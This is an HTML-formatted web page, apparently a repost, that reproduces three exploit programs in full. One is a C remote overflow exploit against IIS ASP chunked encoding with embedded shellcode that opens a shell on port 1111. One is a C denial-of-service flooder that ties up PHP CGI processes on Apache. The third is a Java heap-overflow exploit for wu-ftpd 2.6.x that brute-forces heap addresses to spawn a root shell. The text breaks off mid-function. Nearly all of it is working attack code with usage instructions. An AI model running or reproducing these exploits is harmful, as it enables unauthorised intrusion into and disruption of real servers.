Warning:THIS PROGRAM WILL ONLY TEST.<br />
CHINANSL Technology CO.,LTD http://www.chinansl.com<br />
keji@chinansl.com<br />
use MS VC++ to compile this piece of code<br />
*/</p>
<p>#include &#8220;stdafx.h&#8221;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;windows.h&gt;<br />
#pragma comment (lib,&#8221;Ws2_32&#8243;)</p>
<p>int main(int argc, char* argv[])<br />
{<br />
if(argc != 4)<br />
{<br />
printf(&#8220;%s ip port aspfilepath\n\n&#8221;,argv[0]);<br />
printf(&#8221; ie. %s 127.0.0.1 80 /iisstart.asp\n&#8221;,argv[0]);<br />
puts(&#8221; programed by keji@chinansl.com&#8221;);</p>
<p>return 0;<br />
}</p>
<p>DWORD srcdata=0x01e2fb1c-4;//0&#215;00457474;<br />
file://address of SHELLCODE<br />
DWORD jmpaddr=0&#215;00457494; file://0x77ebf094;/ /0x01e6fcec; file://&#8221;\x1c\xfb\xe6\x01&#8243;; file://&#8221;\x0c\xfb\xe6\x01&#8243;;</p>
<p>char* destIP=argv[1];<br />
char* destFile=argv[3];<br />
int webport=atoi(argv[2]);<br />
char* pad=&#8221;\xcc\xcc\xcc\xcc&#8221; &#8220;ADPA&#8221; &#8220;\x02\x02\x02\x02&#8243; &#8220;PADP&#8221;; file://16 bytes</p>
<p>WSADATA ws;<br />
SOCKET s;<br />
long result=0;<br />
if(WSAStartup(0&#215;0101,&amp;ws) != 0)<br />
{<br />
puts(&#8220;WSAStartup() error&#8221;);<br />
return -1;<br />
}</p>
<p>struct sockaddr_in addr;<br />
addr.sin_family=AF_INET;<br />
addr.sin_port=htons(webport);<br />
addr.sin_addr.s_addr=inet_addr(destIP);<br />
s=socket(AF_INET,SOCK_STREAM,0);<br />
if(s==-1)<br />
{<br />
puts(&#8220;Socket create error&#8221;);<br />
return -1;<br />
}</p>
<p>if(connect(s,(struct sockaddr *)&amp;addr,sizeof(addr)) == -1)<br />
{<br />
puts(&#8220;Cannot connect to the specified host&#8221;);<br />
return -1;<br />
}</p>
<p>char buff[4096];<br />
char* shellcode=&#8221;\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33\xc9\x89&#8243;<br />
&#8220;\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32&#8243;<br />
&#8220;\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab&#8221;<br />
&#8220;\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f&#8221;<br />
&#8220;\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89&#8243;<br />
&#8220;\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0&#8243;<br />
&#8220;\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe&#8221;<br />
&#8220;\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56&#8243;<br />
&#8220;\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc&#8221;<br />
&#8220;\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89&#8243;<br />
&#8220;\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a&#8221;<br />
&#8220;\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3&#8243;<br />
&#8220;\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45&#8243;<br />
&#8220;\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8&#8243;<br />
&#8220;\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a&#8221;<br />
&#8220;\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32&#8243;<br />
&#8220;\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0&#8243;<br />
&#8220;\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0&#8243;<br />
&#8220;\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55&#8243;<br />
&#8220;\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10&#8243;<br />
&#8220;\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff&#8221;<br />
&#8220;\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33&#8243;<br />
&#8220;\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55&#8243;<br />
&#8220;\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50&#8243;<br />
&#8220;\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0&#8243;<br />
&#8220;\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47&#8243;<br />
&#8220;\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c&#8221;<br />
&#8220;\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff&#8221;<br />
&#8220;\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff&#8221;<br />
&#8220;\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89&#8243;<br />
&#8220;\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50&#8243;<br />
&#8220;\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85&#8243;<br />
&#8220;\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53&#8243;<br />
&#8220;\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d&#8221;<br />
&#8220;\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff&#8221;<br />
&#8220;\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90&#8243;<br />
&#8220;\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0&#8243;<br />
&#8220;\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8&#8243;<br />
&#8220;\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85&#8243;<br />
&#8220;\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff&#8221;<br />
&#8220;\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4&#8243;<br />
&#8220;\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a&#8221;<br />
&#8220;\xff\xff\x95\x18\xff\xff\xff&#8221;;</p>
<p>char* s1=&#8221;POST &#8220;;// HTTP/1.1\r\n&#8221;;<br />
char* s2=&#8221;Accept: */*\r\n&#8221;;<br />
char* s4=&#8221;Content-Type: application/x-www-<br />
form-urlencoded\r\n&#8221;;<br />
char* s5=&#8221;Transfer-Encoding:<br />
chunked\r\n\r\n&#8221;;<br />
char* sc=&#8221;0\r\n\r\n\r\n&#8221;;</p>
<p>char shellcodebuff[1024*8];<br />
memset(shellcodebuff,0&#215;90,sizeof<br />
(shellcodebuff));<br />
memcpy(&amp;shellcodebuff[sizeof(shellcodebuff)-<br />
strlen(shellcode)-1],shellcode,strlen(shellcode));<br />
shellcodebuff[sizeof(shellcodebuff)-1] = 0;</p>
<p>char sendbuff[1024*16];<br />
memset(sendbuff,0,1024*16);</p>
<p>sprintf(sendbuff,&#8221;%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s&#8221;, s1,<br />
destFile, shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);</p>
<p>int sendlen=strlen(sendbuff);<br />
*(DWORD *)strstr(sendbuff,&#8221;BBBB&#8221;) = jmpaddr;<br />
*(DWORD *)strstr(sendbuff,&#8221;AAAA&#8221;) = srcdata;</p>
<p>result=send(s,sendbuff,sendlen,0);<br />
if(result == -1 )<br />
{<br />
puts(&#8220;Send shellcode error!&#8221;);<br />
return -1;<br />
}</p>
<p>memset(buff,0,4096);<br />
result=recv(s,buff,sizeof(buff),0);</p>
<p>if(strstr(buff,&#8221;&lt;html&gt;&#8221;) != NULL)<br />
{<br />
shutdown(s,0);<br />
closesocket(s);</p>
<p>puts(&#8220;Send shellcode error!Try again!&#8221;);<br />
return -1;<br />
}</p>
<p>shutdown(s,0);<br />
closesocket(s);<br />
printf(&#8220;\nUse &lt;telnet %s 1111&gt; to connect to the host\n&#8221;,destIP);<br />
puts(&#8220;If you cannot connect to the host,try run this program again!&#8221;);</p>
<p>return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>2.<br />
/* PHP-APACHE.C<br />
* By Matthew Murphy<br />
* Exhaust CGI Resources via PHP on Apache<br />
*<br />
* Calling PHP with no parameters causes it to<br />
* never terminate; the process must be killed<br />
* by the server, the OS, or the admin.<br />
*<br />
* PHP on Apache requires you to configure a<br />
* virtual to load PHP out of. PHP implements<br />
* a &#8220;cgi.force_redirect&#8221; value to require that<br />
* a certain environment variable be set to<br />
* allow PHP to run further.<br />
*<br />
* However, an empty command-line *still* will<br />
* cause PHP to hang. If a remote user does<br />
* this for a lengthy amount of time, the server<br />
* may no longer launch PHP or other server-side<br />
* components.<br />
*<br />
* NOTE: The vulnerable config is on Apache,<br />
* but other servers can still be exploited<br />
* if they offer PHP.EXE (or an SAPI) directly.<br />
*<br />
* Usage: php-apache &lt;host&gt; [phpbin] [port] [maxsocks]<br />
*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>#ifdef _WIN32<br />
#define _WINSOCKAPI_ /* Fix for Winsock.h redef errors */<br />
#include &lt;winsock2.h&gt; /* WinSock API calls&#8230; */<br />
#define WSA_VER 0&#215;0101 /* WinSock ver. to use */<br />
#pragma comment(lib, &#8220;wsock32.lib&#8221;) /* Check your compiler&#8217;s docs&#8230; */<br />
#else<br />
#include &lt;signal.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;netinet/tcp.h&gt;<br />
#endif</p>
<p>#define DEF_PHP &#8220;/php/php&#8221; /* This is used as the PHP<br />
* path if one isn&#8217;t set<br />
*/</p>
<p>static char php_buf[] = &#8220;GET %s HTTP/1.0\x0d\x0a\x0d\x0a&#8221;;</p>
<p>void main(int argc, char *argv[]) {<br />
char host[257];<br />
char binpath[257];<br />
int maxsocks;<br />
char request[300];<br />
unsigned short port;<br />
struct hostent *he;<br />
struct sockaddr_in sa_in;<br />
#ifdef _WIN32<br />
WSADATA wsa_prov;<br />
SOCKET s;<br />
#else<br />
int s;<br />
#endif<br />
printf(&#8220;PHP-APACHE.C by Matthew Murphy\x0d\x0a&#8221;);<br />
printf(&#8220;Exhausting CGI resources w/ PHP on Apache\x0d\x0a\x0d\x0a&#8221;);<br />
maxsocks = 0;<br />
strcpy(&amp;binpath[0], DEF_PHP);<br />
#ifdef _WIN32<br />
if (!WSAStartup(WSA_VER, &amp;wsa_prov) == 0) {<br />
printf(&#8220;ERROR: Windows Sockets init failed!&#8221;);<br />
exit(1);<br />
}<br />
#endif<br />
port = (unsigned short)htons(80);<br />
switch (argc) {<br />
case 5:<br />
maxsocks = atoi(argv[4]);<br />
case 4:<br />
port = htons((unsigned short)atoi(argv[2]));<br />
case 3:<br />
if (strlen(argv[2]) &gt; 256) {<br />
printf(&#8220;ERROR: 256 char path limit exceeded in &#8216;phpbin&#8217; argument.&#8221;);<br />
exit(1);<br />
}<br />
strcpy(&amp;binpath[0], argv[2]);<br />
case 2:<br />
if (strlen(argv[1]) &gt; 256) {<br />
printf(&#8220;ERROR: No host should be over 256 chars!&#8221;);<br />
exit(1);<br />
}<br />
strcpy(&amp;host[0], argv[1]);<br />
break;<br />
default:<br />
printf(&#8220;Usage: php-apache &lt;host&gt; [port] [maxsocks] [phpbin]\x0d\x0a\x0d\x0ahost &#8211; The IP/DNS name to attack\x0d\x0aport &#8211; The port the HTTP service normally runs on (default: 80)\x0d\x0amaxsocks &#8211; The maximum number of connections to establish (creates a finite flood). A zero value means continue until termination (default: 0)\x0d\x0aphpbin &#8211; The virtual path to the PHP binary (e.g, /php/php[.exe]; default: /php/php)&#8221;);<br />
exit(0);<br />
}<br />
if (maxsocks == 0) {<br />
maxsocks&#8211;;<br />
}<br />
sa_in.sin_family = AF_INET;<br />
sa_in.sin_port = (unsigned short)port;<br />
he = gethostbyname(&amp;host[0]);<br />
if (he == NULL) {<br />
printf(&#8220;ERROR: DNS resolution failed, or unknown host.&#8221;);<br />
exit(1);<br />
}<br />
#ifdef _WIN32<br />
sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long *)he-&gt;h_addr;<br />
#else<br />
sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long *)he-&gt;h_addr;<br />
#endif<br />
sprintf(&amp;request[0], &amp;php_buf[0], &amp;binpath[0]);<br />
while (!maxsocks == 0) {<br />
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br />
if (s &lt; 0) {<br />
printf(&#8220;Couldn&#8217;t create socket&#8230;\x0d\x0aIf you continue to receive this error, terminate the program.&#8221;);<br />
} else {<br />
if (!connect(s, (const struct sockaddr FAR *)&amp;sa_in, sizeof(struct sockaddr_in)) == 0) {<br />
printf(&#8220;Couldn&#8217;t connect&#8230;\x0d\x0aIf you continue to receive this error, terminate the program.&#8221;);<br />
} else {<br />
send(s, (char FAR *)&amp;request[0], strlen(&amp;request[0]), 0);</p>
<p>/* If the exploit isn&#8217;t using up server resources<br />
* try removing this &#8212; the server may be killing<br />
* the CGI after a disconnect.<br />
*/</p>
<p>#ifdef _WIN32<br />
shutdown(s, SD_BOTH);<br />
closesocket(s);<br />
#else<br />
close(s);<br />
#endif<br />
}<br />
}<br />
if (!maxsocks == -1) {<br />
maxsocks&#8211;;<br />
}<br />
}<br />
return;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>3. /*<br />
* wu-ftpd 2.6.[0/1] remote heap overflow exploit<br />
* wu-ftpd 2.5.* does also overflow and disconnect when you &#8220;cwd ~{&#8220;<br />
* but it does not seem to be exploitable for some reason&#8230;<br />
*<br />
* Original Code by zen-parse<br />
* This code was finished by CraigTM at 23-01-2002<br />
*<br />
* thanks to Krissa from #java@efnet for this:<br />
* &lt;Krissa&gt; From the Integer API docs: Integer.parseInt(&#8220;-FF&#8221;, 16) returns -255<br />
*<br />
* thanks to dvorak for inspiring me; it works() now <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
*<br />
* This works (nearly) like zen-parses code, but gives you a shell&#8230;<br />
*<br />
* I wanted to challenge myself and prove that remote exploits can be<br />
* done with java&#8230;(hello pr0ix!)&#8230;I also had way too much time <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
*<br />
* java woot [IP] {heap}<br />
*<br />
* CraigTM [ElectronicSouls]<br />
*<br />
* P.S.: I know that the Reader/Write class sucks, but it was done within minutes <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
* P.P.S.:Have fun with the new targets <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
*<br />
*/</p>
<p>import java.io.*;<br />
import java.net.*;<br />
import java.util.*;</p>
<p>class woot<br />
{</p>
<p>file://type, got, inpbuf, string to check for (autodetect)<br />
static String targets[] =<br />
{<br />
&#8220;RH7.0 &#8211; 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000&#8243;, // by zen-parse<br />
&#8220;08070cb0&#8243;,&#8221;08084600&#8243;,&#8221;2.6.1(1) WED AUG 9 05:54:50 EDT 2000&#8243;,</p>
<p>&#8220;RH7.2 &#8211; wu-2.6.1-18 by kanix &#8211; verified by CraigTM&#8221;, // doesnt seem to be<br />
&#8220;08072af8&#8243;,&#8221;08085900&#8243;,&#8221;WU-2.6.1-18&#8243;, // exploitable&#8230;</p>
<p>file://&#8221;wu-2.6.1(2) by zen-parse&#8221;, // zen-parse&#8217;s common compile<br />
file://&#8221;0806ca48&#8243;,&#8221;0807e380&#8243;,&#8221;WU-2.6.1(2)&#8221;, // seems useless in the wild</p>
<p>&#8220;wu-2.6.0(x) from www.wu-ftpd.org by CraigTM&#8221;, file://done by me<br />
&#8220;0806bae4&#8243;,&#8221;0807d600&#8243;,&#8221;WU-2.6.0(&#8220;,</p>
<p>&#8220;wu-2.6.1(x) from www.wu-ftpd.org by CraigTM&#8221;, file://done by me<br />
&#8220;0806c028&#8243;,&#8221;0807db40&#8243;,&#8221;WU-2.6.1(&#8220;,</p>
<p>null<br />
};</p>
<p>file://socket stuff<br />
static DataInputStream sin;<br />
static PrintStream sout;<br />
static Socket s = null;</p>
<p>file://shellcode<br />
static char sc[]={0&#215;55,0&#215;89,0xe5,0&#215;31,0xc0,0&#215;31,0xdb,0&#215;31,0xc9,0xb0,0&#215;17,<br />
0xcd,0&#215;80,0xb0,0x2e,0xcd,0&#215;80,0xeb,0&#215;43,0x5e,0xb0,0&#215;27,<br />
0x8d,0x5e,0&#215;09,0xb1,0xed,0xcd,0&#215;80,0&#215;31,0xc9,0&#215;31,0xc0,<br />
0xb0,0x3d,0xcd,0&#215;80,0xba,0x2e,0x2e,0x2f,0xff,0x8d,0x5d,<br />
0&#215;04,0xb1,0&#215;10,0&#215;89,0&#215;55,0&#215;04,0&#215;83,0xc5,0&#215;03,0xe0,0xf8,<br />
0&#215;89,0x4d,0&#215;04,0xb0,0x3d,0xcd,0&#215;80,0&#215;89,0xf3,0&#215;89,0&#215;75,<br />
0&#215;08,0&#215;89,0x4d,0x0c,0xb0,0x0b,0x8d,0x4d,0&#215;08,0x8d,0&#215;55,<br />
0x0c,0xcd,0&#215;80,0&#215;31,0xc0,0xb0,0&#215;01,0xcd,0&#215;80,0xe8,0xb8,0xff,0xff,0xff};<br />
static int sclength=91;</p>
<p>file://guess what?<br />
static String victim=&#8221;";</p>
<p>file://your shell<br />
static Thread reader, writer;</p>
<p>file://vars<br />
static int m=0;</p>
<p>static long tmp_got;<br />
static long tmp_heap;<br />
static long tmp_inpbuf;</p>
<p>void connect(String Server)<br />
{<br />
try<br />
{</p>
<p>s = new Socket(Server, 21);<br />
sin = new DataInputStream (s.getInputStream());<br />
sout = new PrintStream (s.getOutputStream());</p>
<p>}//try<br />
catch (IOException e){System.out.println(&#8220;Error Connecting:&#8221;+e);System.exit(-1);}<br />
}//connect()</p>
<p>boolean allowsAnonymous()<br />
{<br />
String line=null;</p>
<p>try<br />
{<br />
connect(victim);<br />
System.out.print(&#8220;.&#8221;);</p>
<p>boolean Ano=false;<br />
if(s!=null)sout.println(&#8220;USER planetsubhro&#8221;);</p>
<p>System.out.print(&#8220;.&#8221;);</p>
<p>while(true)<br />
{<br />
if(s==null)break;<br />
line=sin.readLine();<br />
if(line==null)break;</p>
<p>if(line.indexOf(&#8220;220&#8243;)&lt;=-1)<br />
break;</p>
<p>line=line.toUpperCase();</p>
<p>for(int i=0;targets[i]!=null;i++)<br />
{<br />
if(line.indexOf(targets[i])&gt;-1)<br />
{<br />
m=(i/4)+1;<br />
break;<br />
}<br />
}</p>
<p>System.out.print(&#8220;.&#8221;);</p>
<p>if(s!=null)<br />
{<br />
sout.println(&#8220;PASS sms1324&#8243;);<br />
sout.println(&#8220;QUIT&#8221;);<br />
}</p>
<p>while(Ano==false)<br />
{<br />
line=sin.readLine();<br />
if(s==null || line==null)break;</p>
<p>if(line.indexOf(&#8220;331&#8243;)&gt;-1)<br />
{<br />
line=sin.readLine();<br />
if(line==null || s==null)break;<br />
}</p>
<p>if(line.indexOf(&#8220;230&#8243;)&gt;-1)<br />
return true;</p>
<p>if(line.indexOf(&#8220;530&#8243;)&gt;-1 || line.indexOf(&#8220;531&#8243;)&gt;-1)<br />
return false;</p>
<p>}//while (Ano==false)<br />
}//while(true)</p>
<p>file://close socket again<br />
if(s!=null)<br />
{<br />
try<br />
{<br />
s.close();s=null;sin=null;sout=null;<br />
}<br />
catch(IOException e){}<br />
}</p>
<p>}//try<br />
catch (IOException e){}</p>
<p>return false;</p>
<p>}//Anonymous check + get server</p>
<p>void shell()<br />
{<br />
reader.setPriority(6);<br />
writer.setPriority(5);</p>
<p>reader.start();<br />
writer.start();</p>
<p>Thread t = Thread.currentThread();<br />
try {t.sleep(1000);} catch (InterruptedException e) {}</p>
<p>woot.sout.println(&#8220;uname -a;id;&#8221;);<br />
}</p>
<p>void dosend(String s)<br />
{<br />
for(int i=0;i&lt;s.length();i++)<br />
{<br />
if(s.charAt(i)==0xff)<br />
sout.print(s.charAt(i));<br />
sout.print(s.charAt(i));<br />
}<br />
}</p>
<p>void getTarget()<br />
{<br />
try<br />
{</p>
<p>System.out.print(&#8220;@@ Server&gt;&#8221;);<br />
DataInputStream in = new DataInputStream (System.in);<br />
victim=in.readLine();</p>
<p>}<br />
catch (IOException e){}<br />
}//getTarget()</p>
<p>boolean works(long n)<br />
{<br />
String v0=Long.toHexString(n);</p>
<p>String elements[]=new String[5];<br />
elements[0]=v0.substring(0,2);<br />
elements[1]=v0.substring(2,4);<br />
elements[2]=v0.substring(4,6);<br />
elements[3]=v0.substring(6,8);</p>
<p>for(int i=0;elements[i]!=null;i++)<br />
{<br />
if(elements[i].equals(&#8220;00&#8243;))return false; file://0&#215;00 -&gt; null byte<br />
if(elements[i].equals(&#8220;0a&#8221;))return false; file://0x0a -&gt; \n<br />
if(elements[i].equals(&#8220;40&#8243;))return false; file://0&#215;40 -&gt; @<br />
}</p>
<p>return true;<br />
}</p>
<p>boolean force()<br />
{<br />
char ok;</p>
<p>long l;<br />
long got,inp;</p>
<p>long en=0+(256*1024);<br />
long st=2048;</p>
<p>System.out.println(&#8220;++ Option #&#8221;+m+&#8221; chosen.&#8221;);<br />
m=(m-1)*4;</p>
<p>System.out.println(&#8220;++ Exploiting &#8220;+targets[m]+&#8221;\n&#8221;);</p>
<p>long tmp = Long.parseLong(targets[m+2],16);</p>
<p>st= st + tmp + Long.parseLong(&#8220;6400&#8243;, 16);<br />
en= en + tmp + Long.parseLong(&#8220;6400&#8243;, 16);</p>
<p>got=Long.parseLong(targets[m+1],16);<br />
inp=Long.parseLong(targets[m+2],16);</p>
<p>tmp_got=got-12;<br />
tmp_inpbuf=inp+20;</p>
<p>System.out.println(&#8220;got:\t&#8221;+Long.toHexString(tmp_got+12)+&#8221;\ninpbuf:\t&#8221;+Long.toHexString(tmp_inpbuf-20));<br />
System.out.println(&#8220;brute forcing heap (from &#8220;+Long.toHexString(st)+&#8221; to &#8220;+Long.toHexString(en)+&#8221;):&#8221;);</p>
<p>for(l=st;l&lt;en;l+=360)<br />
{<br />
for(m=0;(m!=16&amp;&amp;m&lt;32);m+=4)<br />
{</p>
<p>if(works(m+l+st))<br />
{</p>
<p>System.out.print(&#8220;.&#8221;);<br />
tmp_heap=l+m;</p>
<p>if(exploit(&#8220;scan&#8221;))<br />
{<br />
System.out.println(&#8220;\nheap:\t&#8221;+Long.toHexString(tmp_heap)+&#8221;\n&#8221;);<br />
System.out.println(&#8220;\nTrying to get shell&#8230;&#8221;);<br />
return true;<br />
}</p>
<p>}<br />
else // if(!works(m+l+st))<br />
System.out.print(&#8220;*&#8221;);</p>
<p>}//for<br />
}//for</p>
<p>return false;<br />
}//force()</p>
<p>boolean exploit(String mode)<br />
{</p>
<p>StringBuffer buf=new StringBuffer();<br />
StringBuffer buf2=new StringBuffer(&#8220;&#8221;);</p>
<p>String got[] = new String[5];<br />
String heap[] = new String[5];<br />
String inpbuf[]=new String[5];</p>
<p>String hexgot = Long.toHexString(tmp_got);<br />
String hexheap = Long.toHexString(tmp_heap);<br />
String hexinpbuf = Long.toHexString(tmp_inpbuf);</p>
<p>//////////////////// PUT THE GOT ADDRESS ///////////////////////////<br />
if(hexgot.length()==7)<br />
{<br />
got[0] = &#8220;0&#8243;+hexgot.substring(0,1);<br />
got[1] = hexgot.substring(1,3);<br />
got[2] = hexgot.substring(3,5);<br />
got[3] = hexgot.substring(5,7);<br />
}</p>
<p>if(hexgot.length()==8)<br />
{<br />
got[0] = hexgot.substring(0,2);<br />
got[1] = hexgot.substring(2,4);<br />
got[2] = hexgot.substring(4,6);<br />
got[3] = hexgot.substring(6,8);<br />
}</p>
<p>//////////////////// PUT THE HEAP ADDRESS ///////////////////////////<br />
if(hexheap.length()==7)<br />
{<br />
heap[0] = &#8220;0&#8243;+hexheap.substring(0,1);<br />
heap[1] = hexheap.substring(1,3);<br />
heap[2] = hexheap.substring(3,5);<br />
heap[3] = hexheap.substring(5,7);<br />
}</p>
<p>if(hexheap.length()==8)<br />
{<br />
heap[0] = hexheap.substring(0,2);<br />
heap[1] = hexheap.substring(2,4);<br />
heap[2] = hexheap.substring(4,6);<br />
heap[3] = hexheap.substring(6,8);<br />
}</p>
<p>//////////////////// PUT THE INPBUF ///////////////////////////<br />
if(hexinpbuf.length()==7)<br />
{<br />
inpbuf[0] = &#8220;0&#8243;+hexinpbuf.substring(0,1);<br />
inpbuf[1] = hexinpbuf.substring(1,3);<br />
inpbuf[2] = hexinpbuf.substring(3,5);<br />
inpbuf[3] = hexinpbuf.substring(5,7);<br />
}</p>
<p>if(hexinpbuf.length()==8)<br />
{<br />
inpbuf[0] = hexinpbuf.substring(0,2);<br />
inpbuf[1] = hexinpbuf.substring(2,4);<br />
inpbuf[2] = hexinpbuf.substring(4,6);<br />
inpbuf[3] = hexinpbuf.substring(6,8);<br />
}</p>
<p>file://fill buffer with nops<br />
for(int i=0;i!=480;i++)<br />
buf2.append((char)0&#215;90);</p>
<p>// fill the buffer with chunks. overwrites the syslog call pointer with<br />
// address of our shellcode.<br />
for(int l=0;l&lt;460;l+=16)<br />
{</p>
<p>buf2.setCharAt(l+0,(char)Integer.parseInt(&#8220;F0&#8243;, 16));<br />
buf2.setCharAt(l+1,(char)Integer.parseInt(&#8220;FF&#8221;, 16));<br />
buf2.setCharAt(l+2,(char)Integer.parseInt(&#8220;FF&#8221;, 16));<br />
buf2.setCharAt(l+3,(char)Integer.parseInt(&#8220;FF&#8221;, 16));</p>
<p>buf2.setCharAt(l+4,(char)Integer.parseInt(&#8220;F0&#8243;, 16));<br />
buf2.setCharAt(l+5,(char)Integer.parseInt(&#8220;FF&#8221;, 16));<br />
buf2.setCharAt(l+6,(char)Integer.parseInt(&#8220;FF&#8221;, 16));<br />
buf2.setCharAt(l+7,(char)Integer.parseInt(&#8220;FF&#8221;, 16));</p>
<p>buf2.setCharAt(l+8,(char)Integer.parseInt(got[3], 16));<br />
buf2.setCharAt(l+9,(char)Integer.parseInt(got[2], 16));<br />
buf2.setCharAt(l+10,(char)Integer.parseInt(got[1], 16));<br />
buf2.setCharAt(l+11,(char)Integer.parseInt(got[0], 16));</p>
<p>buf2.setCharAt(l+12,(char)Integer.parseInt(inpbuf[3], 16));<br />
buf2.setCharAt(l+13,(char)Integer.parseInt(inpbuf[2], 16));<br />
buf2.setCharAt(l+14,(char)Integer.parseInt(inpbuf[1], 16));<br />
buf2.setCharAt(l+15,(char)Integer.parseInt(inpbuf[0], 16));</p>
<p>}</p>
<p>buf.append(&#8220;user ftp\npass http://mp3.com/cosv &#8220;);<br />
